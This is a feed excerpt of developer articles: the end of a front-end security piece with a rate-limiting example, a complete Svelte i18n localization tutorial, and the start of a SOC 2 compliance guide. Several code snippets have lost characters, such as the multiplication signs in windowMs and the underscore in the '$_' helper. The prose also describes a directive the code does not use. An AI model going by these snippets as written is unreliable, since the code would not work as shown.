<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> rateLimit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express-rate-limit'</span>);
<span class="hljs-keyword">const</span> limiter = rateLimit({
    <span class="hljs-attr">windowMs</span>: <span class="hljs-number">15</span>  <span class="hljs-number">60</span>  <span class="hljs-number">1000</span>, <span class="hljs-comment">// 15 minutes</span>
    <span class="hljs-attr">max</span>: <span class="hljs-number">100</span>, <span class="hljs-comment">// Limit each IP to 100 requests per window</span>
    <span class="hljs-attr">message</span>: <span class="hljs-string">"Too many requests from this IP, please try again later."</span>,
});
app.use(limiter);
</code></pre>
<p>This ensures no single user can overwhelm your servers, keeping the application available to everyone.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Remember, understanding and applying these important cybersecurity skills is not just for the back-end. While front-end development is focused on aesthetics and interactivity, it’s also a critical line of defense where you can mitigate cyber threats before they become major problems.</p>
<p>The key is knowing how to use these skills so that your front-end work is as secure as your back-end work. I’ve covered different types of attacks and the skills necessary to reduce risks, but you’ll only succeed if you learn to apply them yourself.</p>
<p>With some practice and a basic understanding of how cybersecurity works, you can create user-friendly and secure applications. Plus, building your cybersecurity skills can help open up new opportunities in the future, so the best time to embrace them is now.</p>
<p>Start by applying these ideas today, or feel free to explore additional resources. Don’t be afraid to invest in personal development or to join cybersecurity communities. </p>
<p>You’ll soon find out just how important it is to understand cybersecurity as a modern developer, and you can help contribute to building a safer, more resilient future.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Svelte i18n and Localization Made Easy ]]>
                </title>
                <description>
                    <![CDATA[ Apps are accessible worldwide. This means anyone from anywhere in the world can download your app.  So, if you want to cater to people everywhere, your app needs to support multiple languages.  Fortunately, Svelte is easy to work with, and it makes l... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/svelte-i18n-and-localization-made-easy/</link>
                <guid isPermaLink="false">6752020830d899211b5bda58</guid>
                
                    <category>
                        <![CDATA[ localization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Svelte ]]>
                    </category>
                
                    <category>
                        <![CDATA[ i18n ]]>
                    </category>
                
                    <category>
                        <![CDATA[ app development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ App Localization ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Thu, 05 Dec 2024 19:42:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733421094910/f2f91ab6-0717-4135-9f08-719f041471f6.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Apps are accessible worldwide. This means anyone from anywhere in the world can download your app. </p>
<p>So, if you want to cater to people everywhere, your app needs to support multiple languages. </p>
<p>Fortunately, Svelte is easy to work with, and it makes localization (l10n) and internationalization (i18n) quite straightforward. </p>
<p>But it lacks built-in i18n support—so you need to use a library like svelte-i18n or one of the others available. Let’s create a simple Svelte app to demonstrate how localization can be implemented. </p>
<p>We’ll create a welcome screen that can be used in both English and Spanish and then build some more advanced features.</p>
<dl>
<summary>Table of Contents</summary>
<ul>
<li>
  <a href="heading-what-makes-svelte-unique">What Makes Svelte Unique?</a></li>
  <li><a href="heading-how-to-localize-a-svelte-application">How to Localize a Svelte Application?</a></li>
  <li><a href="heading-adding-language-support">Adding Language Support</a></li>
  <li><a href="heading-updating-components-to-use-translations">Updating Components to Use Translations</a></li>
  <li><a href="heading-creating-a-language-switcher">Creating a Language Switcher</a></li>
  <li><a href="heading-adding-advanced-features">Adding Advanced Features</a></li>
<details>
  <li><a href="heading-formatting-numbers-and-currencies">Formatting Numbers and Currencies</a></li>
  <li><a href="heading-formatting-dates">Formatting Dates</a></li>
  <li><a href="heading-localizing-images">Localizing Images</a></li>
<details>
  <li><a href="heading-dynamic-image-paths">Dynamic Image Paths</a></li><li>
  </li><li><a href="heading-integrating-alternative-text-localization">Integrating Alternative Text Localization</a></li>
 <li><a href="heading-switching-svg-content-dynamically">Switching SVG Content Dynamically</a></li>
</details>
  <li><a href="heading-handling-multiple-forms-of-pluralization">Handling Multiple Forms of Pluralization</a></li>
  <li><a href="heading-handling-missing-translations">Handling Missing Translations</a></li>
</details>
  <li><a href="heading-making-your-app-production-ready">Making Your App Production-Ready</a></li>
 <li><a href="heading-best-practices-for-scaling-your-localization">Best Practices for Scaling Your Localization</a></li>
  <li><a href="heading-wrapping-up">Wrapping Up</a></li>
</ul>
</dl>

<h2 id="heading-what-makes-svelte-unique">What Makes Svelte Unique?</h2>
<p>Similar to <a target="_blank" href="https://centus.com/blog/vue-i18n">Vue i18n</a>, Svelte converts code to vanilla JS during the build process. This means your app ships with minimal code and offers excellent performance.</p>
<p>While other frameworks like React and Vue have longer startup times, Svelte’s compilation process changes that. It creates much smaller bundles, and apps run faster by default.</p>
<p>Svelte’s reactive syntax and lightweight nature make it an excellent choice for developers who want efficient, modern applications. </p>
<p>Its minimalism aligns well with the simplicity required in <a target="_blank" href="https://v2cloud.com/blog/best-programming-languages-for-cloud-computing"><strong>cloud development languages</strong></a>, ensuring that applications are lean, scalable, and optimized for cloud environments. </p>
<p>This minimalism also means you may not always have all the required built-in features. But pretty much all the limitations are resolved with the help of external libraries. </p>
<h2 id="heading-how-to-localize-a-svelte-application">How to Localize a Svelte Application</h2>
<p>Let’s jump right into creating a Svelte project now. I’ll create the project using the <code>npm create</code> command. Run the below commands one by one:</p>
<pre><code class="lang-javascript">npm create svelte@latest freecodecamp-localization-demo
cd freecodecamp-localization-demo
npm install
npm install svelte-i18n
</code></pre>
<p>The <code>npm create</code> command will prompt you with a few choices. Here’s what I’ve picked (but you can always adjust this based on your project requirements):</p>
<ul>
<li><p>Skeleton project: Select <strong>Yes</strong>.</p>
</li>
<li><p>Add TypeScript support: Select <strong>No</strong> (or Yes if you prefer TypeScript).</p>
</li>
<li><p>Add ESLint for code linting: Select <strong>Yes</strong>.</p>
</li>
<li><p>Add Prettier for code formatting: Select <strong>Yes</strong>.</p>
</li>
</ul>
<p>Now that we have our project set up, let's create a welcome component that we'll later enhance with translations. </p>
<p>Create a new file called Welcome.svelte in your src directory:</p>
<pre><code class="lang-javascript">&lt;!-- src/Welcome.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">let</span> username;
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>Welcome {username}!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
</code></pre>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfcaW7fLzjbLa5ysYYu5FplhoGeVNmml9An_l0fcbEwQSxvg5mDbh3PY9b7etS6DESM7ZGdO_R5dqcYaDdgMaaQE2d7w1Q8eU4uAtIfKjHfm58buFwM-KLtJ_bv-x3XyqoYIOgfdQ?key=uXnvRGfJpBUiBb7CkgThtLro" alt="AD_4nXfcaW7fLzjbLa5ysYYu5FplhoGeVNmml9An_l0fcbEwQSxvg5mDbh3PY9b7etS6DESM7ZGdO_R5dqcYaDdgMaaQE2d7w1Q8eU4uAtIfKjHfm58buFwM-KLtJ_bv-x3XyqoYIOgfdQ?key=uXnvRGfJpBUiBb7CkgThtLro" width="1416" height="578" loading="lazy"></p>
<p>This component takes the username property (that I’ve passed from the App.svelte file) and displays a welcome message. </p>
<p>Simple enough for now, but what if your users speak different languages? Let’s add language support.</p>
<h2 id="heading-adding-language-support">Adding Language Support</h2>
<p>To do this, we need to create translation files for each language. Start by creating a new directory called <strong>locales</strong> in your <strong>src</strong> folder. Inside the <strong>locales</strong> folder, create two JSON files—<em>en.json</em> for English and <em>es.json</em> for Spanish.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// src/locales/en.json</span>
{
  <span class="hljs-string">"hello"</span>: <span class="hljs-string">"Hello {username}!"</span>,
  <span class="hljs-string">"buttons"</span>: {
    <span class="hljs-string">"save"</span>: <span class="hljs-string">"Save"</span>,
    <span class="hljs-string">"cancel"</span>: <span class="hljs-string">"Cancel"</span>
  }
}

<span class="hljs-comment">// src/locales/es.json  </span>
{
  <span class="hljs-string">"hello"</span>: <span class="hljs-string">"¡Hola {username}!"</span>,
  <span class="hljs-string">"buttons"</span>: {
    <span class="hljs-string">"save"</span>: <span class="hljs-string">"Guardar"</span>,
    <span class="hljs-string">"cancel"</span>: <span class="hljs-string">"Cancelar"</span>
  }
}
</code></pre>
<p>These files contain our translation strings.</p>
<p>Notice how we've organized them in a nested structure—this helps manage translations as your app grows. </p>
<p>The {username} and {count} placeholders will be replaced with actual values during runtime when we dynamically (or statically) pass the required values.</p>
<p>Next, we need to tell Svelte how to use these translations. For this, we need an <strong>i18n configuration</strong> file:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// src/i18n.js</span>
<span class="hljs-keyword">import</span> { register, init } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;

register(<span class="hljs-string">'en'</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-keyword">import</span>(<span class="hljs-string">'./locales/en.json'</span>));
register(<span class="hljs-string">'es'</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-keyword">import</span>(<span class="hljs-string">'./locales/es.json'</span>));

init({
  <span class="hljs-attr">fallbackLocale</span>: <span class="hljs-string">'en'</span>,
  <span class="hljs-attr">initialLocale</span>: <span class="hljs-string">'en'</span>,
});
</code></pre>
<p>We’ve registered our translation files and set English as both the initial language and fallback language. The fallback language is used when a translation is missing in the selected language.</p>
<h2 id="heading-updating-components-to-use-translations">Updating Components to Use Translations</h2>
<p>Now we can update our welcome component to use the text from the JSON file:</p>
<pre><code class="lang-javascript">&lt;!-- src/Welcome.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> {  } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;
  <span class="hljs-keyword">export</span> <span class="hljs-keyword">let</span> username;
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{$('hello', { username })}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
</code></pre>
<p>The <code>$_</code> function is a special helper from svelte-i18n that retrieves translated strings. </p>
<p>When we pass { username } as the second argument, it replaces the placeholder in our translation strings with the actual username.</p>
<h2 id="heading-creating-a-language-switcher">Creating a Language Switcher</h2>
<p>How would someone change the language, though? Let's create a simple language selector component:</p>
<pre><code class="lang-javascript">&lt;!-- src/LanguageSelect.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> { locale } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;

  <span class="hljs-keyword">const</span> languages = [
    { <span class="hljs-attr">code</span>: <span class="hljs-string">'en'</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'English'</span> },
    { <span class="hljs-attr">code</span>: <span class="hljs-string">'es'</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'Español'</span> }
  ];
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
  {#each languages as { code, name }}
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">on:click</span>=<span class="hljs-string">{()</span> =&gt;</span> locale.set(code)}&gt;{name}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
  {/each}
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
</code></pre>
<p>The <strong>bind:value</strong> directive automatically updates the active language when users make a selection. </p>
<p>The locale store from svelte-i18n handles all the behind-the-scenes work of switching languages.</p>
<p>Now let's bring everything together in our main <strong>App</strong> component:</p>
<pre><code class="lang-javascript">&lt;!-- src/App.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> { waitLocale } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;
  <span class="hljs-keyword">import</span> Welcome <span class="hljs-keyword">from</span> <span class="hljs-string">'./Welcome.svelte'</span>;
  <span class="hljs-keyword">import</span> LanguageSelect <span class="hljs-keyword">from</span> <span class="hljs-string">'./LanguageSelect.svelte'</span>;

  <span class="hljs-keyword">const</span>  username = <span class="hljs-string">'developer'</span>;
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

{#<span class="hljs-keyword">await</span> waitLocale()}
  &lt;p&gt;Loading...&lt;/p&gt;
{:then}
  &lt;main&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">LanguageSelect</span> /&gt;</span></span>
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">Welcome</span> {<span class="hljs-attr">username</span>} /&gt;</span></span>
  &lt;/main&gt;
{/<span class="hljs-keyword">await</span>}
</code></pre>
<p>The <code>waitLocale</code> function ensures translations are loaded before showing content. This prevents flickering or missing translations when the app first loads.</p>
<h2 id="heading-adding-advanced-features">Adding Advanced Features</h2>
<p>As your app grows, you'll need to handle more complex scenarios. Let's look at some common requirements.</p>
<h3 id="heading-formatting-numbers-and-currencies">Formatting Numbers and Currencies</h3>
<p>Different countries handle numbers and currencies quite differently. So for instance, if you show the figure of a hundred thousand to someone from France, and someone from the USA, you’ll need to show the same figure differently. </p>
<p>France → 100 000,00 $</p>
<p>USA → $100,000.00</p>
<p>You see how the thousands are separated by a space and the decimal by a comma in France? Using the US number format will make it quite confusing for someone from France. Here are a few other examples.</p>
<ul>
<li><p>US uses periods for decimals (1,234.56)</p>
</li>
<li><p>Many European countries use commas for decimals and periods for thousands (1.234,56)</p>
</li>
<li><p>Some countries group digits differently (like 1,23,456 in India)</p>
</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-comment">// src/lib/formatUtils.js</span>
<span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">formatCurrency</span>(<span class="hljs-params">amount, locale, currency = <span class="hljs-string">'USD'</span></span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Intl</span>.NumberFormat(locale, {
    <span class="hljs-attr">style</span>: <span class="hljs-string">'currency'</span>,
    currency
  }).format(amount);
}
</code></pre>
<p>You can now use these formatters in your components:</p>
<pre><code class="lang-javascript">&lt;!-- src/lib/PriceDisplay.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> { formatCurrency } <span class="hljs-keyword">from</span> <span class="hljs-string">'./lib/formatUtils'</span>;
  <span class="hljs-keyword">let</span> price = <span class="hljs-number">1234.56</span>;
  <span class="hljs-keyword">let</span> locale = <span class="hljs-string">'en'</span>;
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Price: {formatCurrency(price, locale, 'USD')}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span></span>
</code></pre>
<p>With this setup, the app now adapts the currency formats to the different locales based on what outputs you ask from it:</p>
<ul>
<li><p>US: "$1,234.56", "1.2M", "15%"</p>
</li>
<li><p>German: "1.234,56 €", "1,2 Mio.", "15 %"</p>
</li>
</ul>
<h3 id="heading-formatting-dates">Formatting Dates</h3>
<p>Similar to currency and number formats, date are formatted differently across different locales. </p>
<p>So, while the US uses MM/DD/YYYY, many European countries use DD/MM/YYYY, and Japan often uses YYYY年MM月DD日. </p>
<p>Luckily, we don’t need to handle this manually. Similar to currency formatting, we have the <code>Intl.DateTimeFormat</code> function that accepts the locale and date in numeric format and returns the appropriately formatted date. </p>
<pre><code class="lang-javascript"><span class="hljs-comment">// src/lib/dateUtils.js</span>
<span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">formatDate</span>(<span class="hljs-params">date, locale</span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Intl</span>.DateTimeFormat(locale, {
    <span class="hljs-attr">year</span>: <span class="hljs-string">'numeric'</span>,
    <span class="hljs-attr">month</span>: <span class="hljs-string">'long'</span>,
    <span class="hljs-attr">day</span>: <span class="hljs-string">'numeric'</span>
  }).format(date);
}
</code></pre>
<p>You can now use this function in your Svelte app to display the dates correctly for each locale:</p>
<pre><code class="lang-javascript">&lt;!-- src/lib/DateDisplay.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> { formatDate } <span class="hljs-keyword">from</span> <span class="hljs-string">'./lib/dateUtils'</span>;
  <span class="hljs-keyword">let</span> locale = <span class="hljs-string">'en'</span>;
  <span class="hljs-keyword">let</span> today = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Today's date: {formatDate(today, locale)}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span></span>
</code></pre>
<p>Once implemented, you’ll see the dates get formatted automatically, like below:</p>
<ul>
<li><p>English (US): "September 23, 2024"</p>
</li>
<li><p>Spanish: "23 de septiembre de 2024"</p>
</li>
<li><p>German: "23. September 2024"</p>
</li>
<li><p>Japanese: "2024年9月23日"</p>
</li>
</ul>
<h3 id="heading-localizing-images">Localizing Images</h3>
<p>Don’t forget that localization isn’t just about translating text—your images need attention, too. Culturally relevant visuals, region-specific content like maps or symbols, and adaptable image formats can make all the difference.</p>
<h4 id="heading-dynamic-image-paths"><strong>Dynamic Image Paths</strong></h4>
<p>Use Svelte's reactivity to dynamically load images based on the current locale. For example, you can store localized image paths in a JSON file or directly in your i18n configuration:</p>
<pre><code class="lang-javascript">{
  <span class="hljs-string">"en"</span>: { <span class="hljs-string">"logo"</span>: <span class="hljs-string">"/images/en/logo.png"</span> },
  <span class="hljs-string">"fr"</span>: { <span class="hljs-string">"logo"</span>: <span class="hljs-string">"/images/fr/logo.png"</span> }
}
</code></pre>
<p>Then, in your Svelte component:</p>
<pre><code class="lang-javascript">&lt;script&gt;
  <span class="hljs-keyword">import</span> { locale } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;
  <span class="hljs-keyword">import</span> translations <span class="hljs-keyword">from</span> <span class="hljs-string">'./translations.json'</span>;

  $: imagePath = translations[$locale].logo;
&lt;/script&gt;

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">{imagePath}</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Localized logo"</span> /&gt;</span></span>
</code></pre>
<h4 id="heading-integrating-alternative-text-localization"><strong>Integrating Alternative Text Localization</strong></h4>
<p>Ensure your images' alt attributes are also localized. You can achieve this by adding an additional field in your translations:</p>
<pre><code class="lang-javascript">{
  <span class="hljs-string">"en"</span>: { <span class="hljs-string">"logoAlt"</span>: <span class="hljs-string">"Company Logo"</span> },
  <span class="hljs-string">"fr"</span>: { <span class="hljs-string">"logoAlt"</span>: <span class="hljs-string">"Logo de l'entreprise"</span> }
}

Then bind the localized alt text dynamically
</code></pre>
<pre><code class="lang-javascript">
&lt;img src={imagePath} alt={translations[$locale].logoAlt} /&gt;
</code></pre>
<h4 id="heading-switching-svg-content-dynamically"><strong>Switching SVG Content Dynamically</strong></h4>
<p>If you need to localize content within SVGs, such as text or icons or want to <a target="_blank" href="https://www.adobe.com/express/feature/image/convert/svg">convert to SVG</a> format, consider using Svelte's templating for seamless integration.</p>
<pre><code class="lang-javascript">&lt;svg&gt;
  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">text</span> <span class="hljs-attr">x</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">y</span>=<span class="hljs-string">"20"</span>&gt;</span>{$t('svgText')}<span class="hljs-tag">&lt;/<span class="hljs-name">text</span>&gt;</span></span>
&lt;/svg&gt;
</code></pre>
<p>This approach ensures your SVGs are directly rendered with localized text.</p>
<h3 id="heading-handling-multiple-forms-of-pluralization">Handling Multiple Forms of Pluralization</h3>
<p>While many languages have two forms of plurals (singular and plural), there are many languages with more than two forms, and some don’t pluralize. For example:</p>
<ul>
<li><p>Arabic has six forms</p>
</li>
<li><p>Japanese doesn't pluralize in the same way</p>
</li>
</ul>
<p>We can easily handle these differences using svelte-i18n's ICU message syntax. I’ve also added an example of how you can handle more than two forms when using Arabic.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// src/locales/en.json</span>
{
  <span class="hljs-string">"items"</span>: {
    <span class="hljs-string">"count"</span>: <span class="hljs-string">"{count, plural, =0 {No items} one {1 item} other {{count} items}}"</span>
  }
}

<span class="hljs-comment">// src/locales/es.json</span>

{
  <span class="hljs-string">"items"</span>: {
    <span class="hljs-string">"count"</span>: <span class="hljs-string">"{count, plural, =0 {Sin elementos} one {1 elemento} other {{count} elementos}}"</span>
  }
}

<span class="hljs-comment">// src/locales/ar.json</span>
{
  <span class="hljs-string">"items"</span>: {
    <span class="hljs-string">"count"</span>: <span class="hljs-string">"{count, plural, =0 {لا عناصر} one {عنصر واحد} two {عنصران} few {# عناصر} many {# عنصر} other {# عنصر}}"</span>,
  }
}
</code></pre>
<p>Now, let's create the pluralization component for our Svelte app where a button increments the count with every click.</p>
<pre><code class="lang-javascript">&lt;!-- src/lib/ItemCounter.svelte --&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">import</span> {  } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;
  <span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>;
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>{$('items.count', { count })}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span></span>
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">on:click</span>=<span class="hljs-string">{()</span> =&gt;</span> count++}&gt;Add Item<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span></span>
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">on:click</span>=<span class="hljs-string">{()</span> =&gt;</span> count--} disabled={count === 0}&gt;Remove Item<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span></span>
</code></pre>
<p>With this implemented, your app is fully ready to handle pluralization dynamically (as you’ll notice by clicking on the <strong>Add item</strong> button). </p>
<h3 id="heading-handling-missing-translations">Handling Missing Translations</h3>
<p>Sometimes, translations for certain keys might be missing. This can happen due to oversight, dynamic content, or incomplete translation files. To handle such scenarios gracefully, set up error handling using the <strong>missingKeyHandler</strong> option in <strong>svelte-i18n</strong>.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { register, init } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;

register(<span class="hljs-string">'en'</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-keyword">import</span>(<span class="hljs-string">'./locales/en.json'</span>));
register(<span class="hljs-string">'es'</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-keyword">import</span>(<span class="hljs-string">'./locales/es.json'</span>));

init({
  <span class="hljs-attr">fallbackLocale</span>: <span class="hljs-string">'en'</span>,
  <span class="hljs-attr">initialLocale</span>: <span class="hljs-string">'en'</span>,
  <span class="hljs-attr">missingKeyHandler</span>: <span class="hljs-function">(<span class="hljs-params">locale, key</span>) =&gt;</span> {
    <span class="hljs-built_in">console</span>.warn(<span class="hljs-string">`Missing translation: <span class="hljs-subst">${key}</span> (<span class="hljs-subst">${locale}</span>)`</span>);
    <span class="hljs-keyword">return</span> key; <span class="hljs-comment">// Display the key itself when translation is missing</span>
  }
});
</code></pre>
<p>This code logs a warning when a translation is missing and displays the key instead of showing nothing.</p>
<h2 id="heading-making-your-app-production-ready">Making Your App Production-Ready</h2>
<p>When preparing your app for real-world users, optimize it for localization by automatically detecting the user’s language. </p>
<p>You can use the browser’s <strong>navigator.language</strong> property to set the initial locale:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { init, getLocaleFromNavigator } <span class="hljs-keyword">from</span> <span class="hljs-string">'svelte-i18n'</span>;

init({
  <span class="hljs-attr">fallbackLocale</span>: <span class="hljs-string">'en'</span>,
  <span class="hljs-attr">initialLocale</span>: getLocaleFromNavigator(),
});
</code></pre>
<h2 id="heading-best-practices-for-scaling-your-localization">Best Practices for Scaling Your Localization</h2>
<ul>
<li><p><strong>Organize translations</strong>: Group related translations logically (for example, buttons, menus, notifications) and use consistent naming patterns for keys.</p>
</li>
<li><p><strong>Use a translation management platform:</strong> As your app grows, handling translation files manually starts becoming cumbersome. <a target="_blank" href="https://centus.com/">Translation management platforms</a> are purpose-built to solve this exact issue and help save hours every day, make it easy to collaborate on projects, and keep track of progress.</p>
</li>
<li><p><strong>Thorough testing</strong>: Test your app with real users across all supported languages. You also need to keep in mind the text length changes to avoid issues with layouts, especially with languages like German or Arabic, which can expand text significantly.</p>
</li>
<li><p><strong>Cultural considerations</strong>: Adapt your app for cultural norms, reading directions (for example, RTL for Arabic), and regional preferences (for example, date and currency formats). </p>
</li>
</ul>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>Localization might feel like a big task at first, but it’s totally worth it. It lets you reach more people and makes your app more inclusive.</p>
<p>Svelte and svelte-i18n streamline the process and keep it fun as you build your skills.</p>
<p>To keep it simple, start with the basics, such as adding translations and a language switcher. Advanced features like handling dates, currencies, and pluralization can follow as you gain confidence. </p>
<p>Take your time, test thoroughly, and build an app that feels natural for all the users you serve!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Maintain SOC 2 Compliance: A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ While it might seem challenging to remain SOC 2 compliant, it is a critical process that helps earn your client’s trust and also ensures the security of your systems. SOC 2 assesses how well a company protects its data based on five trust service cri... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-maintain-soc-2-compliance/</link>
                <guid isPermaLink="false">670fcc1f4de23c1a2f6ab7e1</guid>
                
                    <category>
                        <![CDATA[ SOC ]]>
                    </category>
                
                    <category>
                        <![CDATA[ compliance  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ soc 1 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ soc 2 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Wed, 16 Oct 2024 14:22:23 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728552754176/bc82c080-e6df-4944-ba45-b76540cb1314.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>While it might seem challenging to remain SOC 2 compliant, it is a critical process that helps earn your client’s trust and also ensures the security of your systems.</p>
<p>SOC 2 assesses how well a company protects its data based on five trust service criteria: protection, accessibility, processing completeness, confidentiality, and individual privacy.</p>
<p>In this article, we’ll examine the details of SOC 2 compliance and I’ll provide a complete guide to help your organization achieve and maintain this critical certification. We’ll also discuss the five trust services criteria and essential steps for implementation, and I’ll offer insights on preparing for and passing SOC 2 audits.</p>
<dl>
 <h1 id="heading-table-of-contents">Table of Contents</h1>
    <ul>
        <li><a href="#heading-what-is-soc-2-compliance">What is SOC 2 Compliance?</a></li>
        <li><a href="#heading-1-learn-about-soc-2-trust-services-criteria">Learn About SOC 2 Trust Services Criteria</a></li>
        <li><a href="#heading-2-implement-strong-access-controls">Implement Strong Access Controls</a></li>
        <li><a href="#heading-3-continuously-monitor-your-systems">Continuously Monitor Your Systems</a></li>
        <li><a href="#heading-4-document-everything">Document Everything</a></li>
        <li><a href="#heading-5-prepare-for-regular-audits">Prepare for Regular Audits</a></li>
        <li><a href="#heading-6-ensure-vendor-compliance">Ensure Vendor Compliance</a></li>
        <li><a href="#heading-7-incident-response-plan">Incident Response Plan</a></li>
        <li><a href="#heading-8-employee-training-and-awareness">Employee Training and Awareness</a></li>
        <li><a href="#heading-soc-1-vs-soc-2">SOC 1 vs SOC 2</a></li>
        <li><a href="#heading-conclusion">Conclusion</a></li>
    </ul></dl>

<h2 id="heading-what-is-soc-2-compliance">What is SOC 2 Compliance?</h2>
<p>SOC 2 (System and Organization Controls) represents an organization's framework for addressing the privacy, security, and reliability of customer data in cloud services.</p>
<p>Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 focuses on five key trust service principles: security, availability, processing integrity, confidentiality, and privacy. SOC 2 compliance, therefore, means that a company has taken appropriate measures to handle clients’ and partners’ sensitive data and gain their trust.</p>
<p>To stay compliant with the SOC 2 requirements, a company must perform several activities, including audits, system monitoring, and following various best practices and guidelines for <a target="_blank" href="https://www.aura.com/identity-theft-protection">data security</a>.</p>
<p>Now we’ll discuss some of these best practices and how you and your team can implement them.</p>
<h3 id="heading-1-learn-about-soc-2-trust-services-criteria">1. Learn About SOC 2 Trust Services Criteria</h3>
